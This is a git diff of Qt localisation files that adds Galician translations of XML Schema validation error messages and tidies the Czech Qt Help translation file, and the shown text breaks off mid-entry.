</message>
<message>
<source>%1 attribute of %2 element must either contain %3 or the other values.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do elemento %2 debe conter %3 ou os outros valores.</translation>
</message>
<message>
<source>Component with ID %1 has been defined previously.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu anteriormente unha compoñente co ID %1.</translation>
</message>
<message>
<source>Element %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu o elemento %1.</translation>
</message>
<message>
<source>Attribute %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu o atributo %1.</translation>
</message>
<message>
<source>Type %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu o tipo %1.</translation>
</message>
<message>
<source>Attribute group %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu o grupo de atributos %1.</translation>
</message>
<message>
<source>Element group %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu o grupo de elementos %1.</translation>
</message>
<message>
<source>Notation %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu a notación %1.</translation>
</message>
<message>
<source>Identity constraint %1 already defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Xa se definiu a restrición de identidade %1.</translation>
</message>
<message>
<source>Duplicated facets in simple type %1.</source>
- <translation type="unfinished"></translation>
+ <translation>Hai facetas duplicadas no tipo simple %1.</translation>
</message>
<message>
<source>%1 references unknown %2 or %3 element %4.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 fai referencia a un %4 dun elemento %2 ou %3 descoñecido.</translation>
</message>
<message>
<source>%1 references identity constraint %2 that is no %3 or %4 element.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 fai referencia á restrición de identidade %2 que non é nin un elemento %3 nin %4.</translation>
</message>
<message>
<source>%1 has a different number of fields from the identity constraint %2 that it references.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 ten unha cantidade diferentes de campos que a restrición de identidade %2 á que fai referencia.</translation>
</message>
<message>
<source>Base type %1 of %2 element cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo base %1 do elemento %2 non se pode resolver.</translation>
</message>
<message>
<source>Item type %1 of %2 element cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo de elemento %1 de %2 non se pode resolver.</translation>
</message>
<message>
<source>Member type %1 of %2 element cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo de membro %1 de %2 non se pode resolver.</translation>
</message>
<message>
<source>Type %1 of %2 element cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo %1 do elemento %2 non se pode resolver.</translation>
</message>
<message>
<source>Base type %1 of complex type cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo base %1 do tipo complexo non se pode resolver.</translation>
</message>
<message>
<source>%1 cannot have complex base type that has a %2.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 non pode ter un tipo de base complexo que teña un %2.</translation>
</message>
<message>
<source>Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.</source>
- <translation type="unfinished"></translation>
+ <translation>O modelo de contido do tipo complexo %1 contén un elemento %2 polo que non se pode derivar por extensión a partir dun tipo non baleiro.</translation>
</message>
<message>
<source>Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se pode derivar o tipo complexo %1 mediante extensión de %2 xa que este contén elementos %3 no seu modelo de contido.</translation>
</message>
<message>
<source>Type of %1 element must be a simple type, %2 is not.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo do elemento %1 debe ser un tipo simple, e %2 non o é.</translation>
</message>
<message>
<source>Substitution group %1 of %2 element cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se pode resolver o grupo de substitución %1 do elemento %2.</translation>
</message>
<message>
<source>Substitution group %1 has circular definition.</source>
- <translation type="unfinished"></translation>
+ <translation>O grupo de substitución %1 ten unha definición circular.</translation>
</message>
<message>
<source>Duplicated element names %1 in %2 element.</source>
- <translation type="unfinished"></translation>
+ <translation>Hai nomes de elementos %1 duplicados no elemento %2.</translation>
</message>
<message>
<source>Reference %1 of %2 element cannot be resolved.</source>
- <translation type="unfinished"></translation>
+ <translation>A referencia %1 do elemento %2 non se pode resolver.</translation>
</message>
<message>
<source>Circular group reference for %1.</source>
- <translation type="unfinished"></translation>
+ <translation>Grupo de referencias circulares para %1.</translation>
</message>
<message>
<source>%1 element is not allowed in this scope</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite o elemento %1 neste ámbito</translation>
</message>
<message>
<source>%1 element cannot have %2 attribute with value other than %3.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 non pode ter o atributo %2 cun valor diferente de %3.</translation>
</message>
<message>
<source>%1 element cannot have %2 attribute with value other than %3 or %4.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 non pode ter o atributo %2 cun valor diferente de %3 ou de %4.</translation>
</message>
<message>
<source>%1 or %2 attribute of reference %3 does not match with the attribute declaration %4.</source>
- <translation type="unfinished"></translation>
+ <translation>Nin atributo %1 nin o %2 da referencia %2 casan coa declaración do atributo %3.</translation>
</message>
<message>
<source>Attribute group %1 has circular reference.</source>
- <translation type="unfinished"></translation>
+ <translation>O grupo de atributo %1 ten unha referencia circular.</translation>
</message>
<message>
<source>%1 attribute in %2 must have %3 use like in base type %4.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 en %2 debe ter un uso de %3 como no tipo base %4.</translation>
</message>
<message>
<source>Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.</source>
- <translation type="unfinished"></translation>
+ <translation>O carácter de substitución de atributo de %1 non é unha restrición válida de carácter de substitución de atributo do tipo de base %2.</translation>
</message>
<message>
<source>%1 has attribute wildcard but its base type %2 has not.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 ten un carácter de substitución de atributo pero o seu tipo de base %2 non o ten.</translation>
</message>
<message>
<source>Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.</source>
- <translation type="unfinished"></translation>
+ <translation>A unión do carácter de substitución de atributo do tipo %1 e o do seu tipo de base %2 é inexpresábel.</translation>
</message>
<message>
<source>Enumeration facet contains invalid content: {%1} is not a value of type %2.</source>
- <translation type="unfinished"></translation>
+ <translation>A faceta de enumeración ten contido non válido: {%1} non é un valor do tipo %2.</translation>
</message>
<message>
<source>Namespace prefix of qualified name %1 is not defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Non está á definido o prefixo do espazo de nomes do nome cualificado %1.</translation>
</message>
<message>
<source>%1 element %2 is not a valid restriction of the %3 element it redefines: %4.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 %2 non é unha restrición válida do elemento %3 que redefine: %4.</translation>
</message>
<message>
<source>%1 is not valid according to %2.</source>
- <translation type="unfinished">%1 non é válido segundo %2.</translation>
+ <translation>%1 non é válido segundo %2.</translation>
</message>
<message>
<source>String content does not match the length facet.</source>
- <translation type="unfinished">O contido da cadea non coincide coa faceta «length».</translation>
+ <translation>O contido da cadea non coincide coa faceta «length».</translation>
</message>
<message>
<source>String content does not match the minLength facet.</source>
- <translation type="unfinished">O contido da cadea non coincide coa faceta «minLength».</translation>
+ <translation>O contido da cadea non coincide coa faceta «minLength».</translation>
</message>
<message>
<source>String content does not match the maxLength facet.</source>
- <translation type="unfinished">O contido da cadea non coincide coa faceta «maxLength».</translation>
+ <translation>O contido da cadea non coincide coa faceta «maxLength».</translation>
</message>
<message>
<source>String content does not match pattern facet.</source>
- <translation type="unfinished">O contido da cadea non coincide coa faceta «pattern».</translation>
+ <translation>O contido da cadea non coincide coa faceta «pattern».</translation>
</message>
<message>
<source>String content is not listed in the enumeration facet.</source>
- <translation type="unfinished">O contido da cadea non está enumerado na enumeración de facetas.</translation>
+ <translation>O contido da cadea non está enumerado na enumeración de facetas.</translation>
</message>
<message>
<source>Signed integer content does not match the maxInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non casa coa faceta maxInclusive.</translation>
</message>
<message>
<source>Signed integer content does not match the maxExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non casa coa faceta maxExclusive.</translation>
</message>
<message>
<source>Signed integer content does not match the minInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non casa coa faceta minInclusive.</translation>
</message>
<message>
<source>Signed integer content does not match the minExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non casa coa faceta minExclusive.</translation>
</message>
<message>
<source>Signed integer content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non está na faceta de enumeración.</translation>
</message>
<message>
<source>Signed integer content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non casa coa faceta padrón.</translation>
</message>
<message>
<source>Signed integer content does not match in the totalDigits facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro con signo non casa coa faceta totalDigits.</translation>
</message>
<message>
<source>Unsigned integer content does not match the maxInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non casa coa faceta maxInclusive.</translation>
</message>
<message>
<source>Unsigned integer content does not match the maxExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non casa coa faceta maxExclusive.</translation>
</message>
<message>
<source>Unsigned integer content does not match the minInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non casa coa faceta minInclusive.</translation>
</message>
<message>
<source>Unsigned integer content does not match the minExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non casa coa faceta minExclusive.</translation>
</message>
<message>
<source>Unsigned integer content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non está na faceta de enumeración.</translation>
</message>
<message>
<source>Unsigned integer content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non casa coa faceta padrón.</translation>
</message>
<message>
<source>Unsigned integer content does not match in the totalDigits facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número enteiro sen signo non casa coa faceta totalDigits.</translation>
</message>
<message>
<source>Double content does not match the maxInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número de lonxitude dupla non casa coa faceta maxInclusive.</translation>
</message>
<message>
<source>Double content does not match the maxExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número de lonxitude dupla non casa coa faceta maxExclusive.</translation>
</message>
<message>
<source>Double content does not match the minInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número de lonxitude dupla non casa coa faceta minInclusive.</translation>
</message>
<message>
<source>Double content does not match the minExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número de lonxitude dupla non casa coa faceta minExclusive.</translation>
</message>
<message>
<source>Double content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número de lonxitude dupla non está na faceta de enumeración.</translation>
</message>
<message>
<source>Double content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número de lonxitude dupla non casa coa faceta padrón.</translation>
</message>
<message>
<source>Decimal content does not match in the fractionDigits facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número decimal non casa coa faceta fractionDigits.</translation>
</message>
<message>
<source>Decimal content does not match in the totalDigits facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do número decimal non casa coa faceta totalDigits.</translation>
</message>
<message>
<source>Date time content does not match the maxInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da data e hora non casa coa faceta maxInclusive.</translation>
</message>
<message>
<source>Date time content does not match the maxExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da data e hora non casa coa faceta maxExclusive.</translation>
</message>
<message>
<source>Date time content does not match the minInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da data e hora non casa coa faceta minInclusive.</translation>
</message>
<message>
<source>Date time content does not match the minExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da data e hora non casa coa faceta minExclusive.</translation>
</message>
<message>
<source>Date time content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da data e hora non está na faceta de enumeración.</translation>
</message>
<message>
<source>Date time content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da data e hora non casa coa faceta padrón.</translation>
</message>
<message>
<source>Duration content does not match the maxInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da duración non casa coa faceta maxInclusive.</translation>
</message>
<message>
<source>Duration content does not match the maxExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da duración non casa coa faceta maxExclusive.</translation>
</message>
<message>
<source>Duration content does not match the minInclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da duración non casa coa faceta minInclusive.</translation>
</message>
<message>
<source>Duration content does not match the minExclusive facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da duración non casa coa faceta minExclusive.</translation>
</message>
<message>
<source>Duration content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da duración non está na faceta de enumeración.</translation>
</message>
<message>
<source>Duration content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da duración non casa coa faceta padrón.</translation>
</message>
<message>
<source>Boolean content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido booleano non casa coa faceta padrón.</translation>
</message>
<message>
<source>Binary content does not match the length facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido binario coa faceta «length».</translation>
</message>
<message>
<source>Binary content does not match the minLength facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido binario coa faceta «minLength».</translation>
</message>
<message>
<source>Binary content does not match the maxLength facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido binario coa faceta «maxLength».</translation>
</message>
<message>
<source>Binary content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido binario non está na faceta de enumeración.</translation>
</message>
<message>
<source>Invalid QName content: %1.</source>
- <translation type="unfinished"></translation>
+ <translation>Contido non válido do QName: %1</translation>
</message>
<message>
<source>QName content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do QName non está na faceta de enumeración.</translation>
</message>
<message>
<source>QName content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do QName non casa coa faceta padrón.</translation>
</message>
<message>
<source>Notation content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da notación non está na faceta de enumeración</translation>
</message>
<message>
<source>List content does not match length facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da lista non coincide coa faceta «length».</translation>
</message>
<message>
<source>List content does not match minLength facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da lista non coincide coa faceta «minLength».</translation>
</message>
<message>
<source>List content does not match maxLength facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da lista non coincide coa faceta «maxLength».</translation>
</message>
<message>
<source>List content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da lista non está na faceta de enumeración.</translation>
</message>
<message>
<source>List content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da lista non casa coa faceta padrón.</translation>
</message>
<message>
<source>Union content is not listed in the enumeration facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da unión non está na faceta de enumeración.</translation>
</message>
<message>
<source>Union content does not match pattern facet.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido da unión non casa coa faceta padrón.</translation>
</message>
<message>
<source>Data of type %1 are not allowed to be empty.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite que os datos do tipo %1 esteas baleiros.</translation>
</message>
<message>
<source>Element %1 is missing child element.</source>
- <translation type="unfinished"></translation>
+ <translation>Ao elemento %1 fáltalle un elemento fillo.</translation>
</message>
<message>
<source>There is one IDREF value with no corresponding ID: %1.</source>
- <translation type="unfinished"></translation>
+ <translation>Hai un valor IDREF sen o ID correspondente: %1.</translation>
</message>
<message>
<source>Loaded schema file is invalid.</source>
- <translation type="unfinished"></translation>
+ <translation>O ficheiro de esquema que se cargou non é válido.</translation>
</message>
<message>
<source>%1 contains invalid data.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 contén datos non válidos.</translation>
</message>
<message>
<source>xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.</source>
- <translation type="unfinished"></translation>
+ <translation>O espazo de nomes %1 de xsi:schemaLocation xa apareceu antes no documento de instancia.</translation>
</message>
<message>
<source>xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.</source>
- <translation type="unfinished"></translation>
+ <translation>xsi:noNamespaceSchemaLocation non pode aparecer despois do primeiro elemento ou atributo que non sexa un espazo de nomes.</translation>
</message>
<message>
<source>No schema defined for validation.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se definiu ningún esquema para a validación.</translation>
</message>
<message>
<source>No definition for element %1 available.</source>
- <translation type="unfinished"></translation>
+ <translation>Non hai dispoñíbel ningunha definición do elemento %1.</translation>
</message>
<message>
<source>Specified type %1 is not known to the schema.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo especificado %1 non se coñece neste esquema.</translation>
</message>
<message>
<source>Element %1 is not defined in this scope.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 non está definido neste ámbito.</translation>
</message>
<message>
<source>Declaration for element %1 does not exist.</source>
- <translation type="unfinished"></translation>
+ <translation>Non existe a declaración do elemento %1.</translation>
</message>
<message>
<source>Element %1 contains invalid content.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 ten contido non válido.</translation>
</message>
<message>
<source>Element %1 is declared as abstract.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 declarouse como abstracto.</translation>
</message>
<message>
<source>Element %1 is not nillable.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 non é anulábel.</translation>
</message>
<message>
<source>Attribute %1 contains invalid data: %2</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 contén datos non válidos: %2</translation>
</message>
<message>
<source>Element contains content although it is nillable.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento ten contido a pesar de ser anulábel.</translation>
</message>
<message>
<source>Fixed value constraint not allowed if element is nillable.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite a restrición de valor fixo se o elemento é anulábel.</translation>
</message>
<message>
<source>Specified type %1 is not validly substitutable with element type %2.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo especificado %1 non se pode substituír dun xeito válido por elementos do tipo %2.</translation>
</message>
<message>
<source>Complex type %1 is not allowed to be abstract.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite que o tipo complexo %1 sexa abstracto.</translation>
</message>
<message>
<source>Element %1 contains not allowed attributes.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 contén atributos non permitidos.</translation>
</message>
<message>
<source>Element %1 contains not allowed child element.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 contén un elemento fillo non permitido.</translation>
</message>
<message>
<source>Content of element %1 does not match its type definition: %2.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do elemento %1 non casa coa definición do tipo: %2.</translation>
</message>
<message>
<source>Content of element %1 does not match defined value constraint.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do elemento %1 non casa coa restrición de valores definida.</translation>
</message>
<message>
<source>Element %1 contains not allowed child content.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 ten contido fillo non permitido.</translation>
</message>
<message>
<source>Element %1 contains not allowed text content.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 ten contido de texto non permitido.</translation>
</message>
<message>
<source>Element %1 cannot contain other elements, as it has a fixed content.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 non pode conter outros elementos xa que ten un contido fixo.</translation>
</message>
<message>
<source>Element %1 is missing required attribute %2.</source>
- <translation type="unfinished"></translation>
+ <translation>Ao elemento %1 fáltalle o atributo requirido %2.</translation>
</message>
<message>
<source>Attribute %1 does not match the attribute wildcard.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 non casa co carácter de substitución do atributo.</translation>
</message>
<message>
<source>Declaration for attribute %1 does not exist.</source>
- <translation type="unfinished"></translation>
+ <translation>Non existe a declaración do atributo %1.</translation>
</message>
<message>
<source>Element %1 contains two attributes of type %2.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 contén dous atributos do tipo %2.</translation>
</message>
<message>
<source>Attribute %1 contains invalid content.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 ten contido non válido.</translation>
</message>
<message>
<source>Element %1 contains unknown attribute %2.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 contén o atributo descoñecido %2.</translation>
</message>
<message>
<source>Content of attribute %1 does not match its type definition: %2.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do atributo %1 non casa coa definición do tipo: %2.</translation>
</message>
<message>
<source>Content of attribute %1 does not match defined value constraint.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do atributo %1 non casa coa restrición de valores definida.</translation>
</message>
<message>
<source>Non-unique value found for constraint %1.</source>
- <translation type="unfinished"></translation>
+ <translation>Atopouse un valor non único para a restrición %1.</translation>
</message>
<message>
<source>Key constraint %1 contains absent fields.</source>
- <translation type="unfinished"></translation>
+ <translation>A restrición de chave %1 contén campos ausentes.</translation>
</message>
<message>
<source>Key constraint %1 contains references nillable element %2.</source>
- <translation type="unfinished"></translation>
+ <translation>A restrición de chave %1 contén referencias ao elemento anulábel %2.</translation>
</message>
<message>
<source>No referenced value found for key reference %1.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se atopou ningún valor referenciado para a referencia de chave %1.</translation>
</message>
<message>
<source>More than one value found for field %1.</source>
- <translation type="unfinished">Atopouse máis dun valor para o campo %1.</translation>
+ <translation>Atopouse máis dun valor para o campo %1.</translation>
</message>
<message>
<source>Field %1 has no simple type.</source>
- <translation type="unfinished">O campo %1 non ten un tipo simple.</translation>
+ <translation>O campo %1 non ten un tipo simple.</translation>
</message>
<message>
<source>ID value &apos;%1&apos; is not unique.</source>
- <translation type="unfinished">O valor do ID «%1» non é único.</translation>
+ <translation>O valor do ID «%1» non é único.</translation>
</message>
<message>
<source>&apos;%1&apos; attribute contains invalid QName content: %2.</source>
- <translation type="unfinished">O atributo «%1» contén contido non válido para un QName: %2.</translation>
+ <translation>O atributo «%1» contén contido non válido para un QName: %2.</translation>
</message>
<message>
<source>empty</source>
- <translation type="unfinished">baleiro</translation>
+ <translation>baleiro</translation>
</message>
<message>
<source>zero or one</source>
- <translation type="unfinished">cero ou un</translation>
+ <translation>cero ou un</translation>
</message>
<message>
<source>exactly one</source>
- <translation type="unfinished">exactamente un</translation>
+ <translation>exactamente un</translation>
</message>
<message>
<source>one or more</source>
- <translation type="unfinished">un ou máis</translation>
+ <translation>un ou máis</translation>
</message>
<message>
<source>zero or more</source>
- <translation type="unfinished">cero ou máis</translation>
+ <translation>cero ou máis</translation>
</message>
<message>
<source>Required type is %1, but %2 was found.</source>
- <translation type="unfinished">O tipo requirido é %1, pero atopouse %2.</translation>
+ <translation>O tipo requirido é %1, pero atopouse %2.</translation>
</message>
<message>
<source>Promoting %1 to %2 may cause loss of precision.</source>
- <translation type="unfinished">Converter de %1 a %2 pode causar perda de precisión.</translation>
+ <translation>Converter de %1 a %2 pode causar perda de precisión.</translation>
</message>
<message>
<source>The focus is undefined.</source>
- <translation type="unfinished">O foco non está definido.</translation>
+ <translation>O foco non está definido.</translation>
</message>
<message>
<source>It&apos;s not possible to add attributes after any other kind of node.</source>
- <translation type="unfinished">Non é posíbel engadir atributos tras calquera outro tipo de nodo.</translation>
+ <translation>Non é posíbel engadir atributos tras calquera outro tipo de nodo.</translation>
</message>
<message>
<source>An attribute by name %1 has already been created.</source>
- <translation type="unfinished">Xa se creou un atributo co nome %1.</translation>
+ <translation>Xa se creou un atributo co nome %1.</translation>
</message>
<message>
<source>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</source>
- <translation type="unfinished"></translation>
+ <translation>Só está soportado o Unicode Codepoint Collation (%1). %2 non se admite.</translation>
</message>
</context>
</TS>
diff --git a/translations/qt_help_cs.ts b/translations/qt_help_cs.ts
index 15836f1..6e425d6 100644..100755
--- a/translations/qt_help_cs.ts
+++ b/translations/qt_help_cs.ts
@@ -4,80 +4,72 @@
<context>
<name>QCLuceneResultWidget</name>
<message>
- <location filename="../tools/assistant/lib/qhelpsearchresultwidget.cpp" line="+110"/>
<source>Search Results</source>
<translation>Výsledky hledání</translation>
</message>
<message>
- <location line="+7"/>
<source>Note:</source>
<translation>Poznámka:</translation>
</message>
<message>
- <location line="+1"/>
<source>The search results may not be complete since the documentation is still being indexed!</source>
<translation>Nemusí být ukázány všechny výsledky, protože dokumentace je stále ještě rejstříkována!</translation>
</message>
<message>
- <location line="+11"/>
<source>Your search did not match any documents.</source>
<translation>Nebyly nalezeny žádné dokumenty, které by odpovídaly vašemu hledání.</translation>
</message>
<message>
- <location line="+4"/>
<source>(The reason for this might be that the documentation is still being indexed.)</source>
<translation>(Důvodem pro to by mohlo být, že dokumentace je stále ještě rejstříkována.)</translation>
</message>
</context>
<context>
+ <name>QHelp</name>
+ <message>
+ <source>Untitled</source>
+ <translation>Bez názvu</translation>
+ </message>
+</context>
+<context>
<name>QHelpCollectionHandler</name>
<message>
<source>The collection file is not set up yet!</source>
<translation type="obsolete">Soubor se sbírkou ještě není zřízen!</translation>
</message>
<message>
- <location filename="../tools/assistant/lib/qhelpcollectionhandler.cpp" line="+79"/>
<source>The collection file &apos;%1&apos; is not set up yet!</source>
<translation>Soubor se sbírkou &apos;%1&apos; ještě není zřízen!</translation>
</message>
<message>
- <location line="+23"/>
<source>Cannot load sqlite database driver!</source>
<translation>Databázový ovladač pro SQLite nelze nahrát!</translation>
</message>
<message>
- <location line="+11"/>
- <location line="+49"/>
<source>Cannot open collection file: %1</source>
<translation>Nelze otevřít soubor se sbírkou: %1</translation>
</message>
<message>
- <location line="-40"/>
<source>Cannot create tables in file %1!</source>
<translation>V souboru %1 nelze vytvořit žádné tabulky!</translation>
</message>
<message>
- <location line="+16"/>
<source>The collection file &apos;%1&apos; already exists!</source>
<translation>Soubor se sbírkou &apos;%1&apos; již existuje!</translation>
</message>
<message>
- <location line="+148"/>
<source>Unknown filter &apos;%1&apos;!</source>
<translation>Neznámý filtr &apos;%1&apos;!</translation>
</message>
<message>
- <location line="+105"/>
<source>Invalid documentation file &apos;%1&apos;!</source>
<translation>Neplatný soubor s dokumentací &apos;%1&apos;!</translation>
</message>
<message>
- <location line="+167"/>
<source>Cannot register namespace &apos;%1&apos;!</source>
<translation>Nelze zapsat jmenný prostor %1!</translation>
</message>
<message>
- <location line="+24"/>
<source>Cannot open database &apos;%1&apos; to optimize!</source>
<translation>Databázi &apos;%1&apos; nelze otevřít pro vyladění!</translation>
</message>
@@ -86,12 +78,10 @@
<translation type="obsolete">Zadaný soubor se sbírkou již existuje!</translation>
</message>
<message>
- <location line="-438"/>
<source>Cannot create directory: %1</source>
<translation>Nelze vytvořit adresář: %1</translation>
</message>
<message>
- <location line="+23"/>
<source>Cannot copy collection file: %1</source>
<translation>Nelze kopírovat soubor se sbírkou: %1</translation>
</message>
@@ -100,12 +90,10 @@
<translation type="obsolete">Neznámý filtr!</translation>
</message>
<message>
- <location line="+174"/>
<source>Cannot register filter %1!</source>
<translation>Nelze zapsat filtr %1!</translation>
</message>
<message>
- <location line="+44"/>
<source>Cannot open documentation file %1!</source>
<translation>Nelze otevřít soubor s dokumentací: %1!</translation>
</message>
@@ -114,12 +102,10 @@
<translation type="obsolete">Neplatný soubor s dokumentací!</translation>
</message>
<message>
- <location line="+40"/>
<source>The namespace %1 was not registered!</source>
<translation>Jmenný prostor %1 nebyl zapsán!</translation>
</message>
<message>
- <location line="+120"/>
<source>Namespace %1 already exists!</source>
<translation>Jmenný prostor %1 již existuje!</translation>
</message>
@@ -135,7 +121,6 @@
<context>
<name>QHelpDBReader</name>
<message>
- <location filename="../tools/assistant/lib/qhelpdbreader.cpp" line="+98"/>
<source>Cannot open database &apos;%1&apos; &apos;%2&apos;: %3</source>
<extracomment>The placeholders are: %1 - The name of the database which cannot be opened %2 - The unique id for the connection %3 - The actual error string</extracomment>
<translation>Databázi nelze otevřít: &apos;%1&apos; &apos;%2&apos;: %3</translation>
@@ -144,7 +129,10 @@
<context>
<name>QHelpEngineCore</name>
<message>
- <location filename="../tools/assistant/lib/qhelpenginecore.cpp" line="+524"/>
+ <source>Cannot open documentation file %1: %2!</source>
+ <translation>Nelze otevřít soubor s dokumentací %1: %2!</translation>
+ </message>
+ <message>
<source>The specified namespace does not exist!</source>
<translation>Zadaný jmenný prostor neexistuje!</translation>
</message>
@@ -152,181 +140,210 @@
<context>
<name>QHelpEngineCorePrivate</name>
<message>
- <location line="-402"/>
<source>Cannot open documentation file %1: %2!</source>
- <translation>Nelze otevřít soubor s dokumentací %1: %2!</translation>
+ <translation type="obsolete">Nelze otevřít soubor s dokumentací %1: %2!</translation>
</message>
</context>
<context>
<name>QHelpGenerator</name>
<message>
- <location filename="../tools/assistant/lib/qhelpgenerator.cpp" line="+157"/>
<source>Invalid help data!</source>
<translation>Neplatná data s nápovědou!</translation>
</message>
<message>
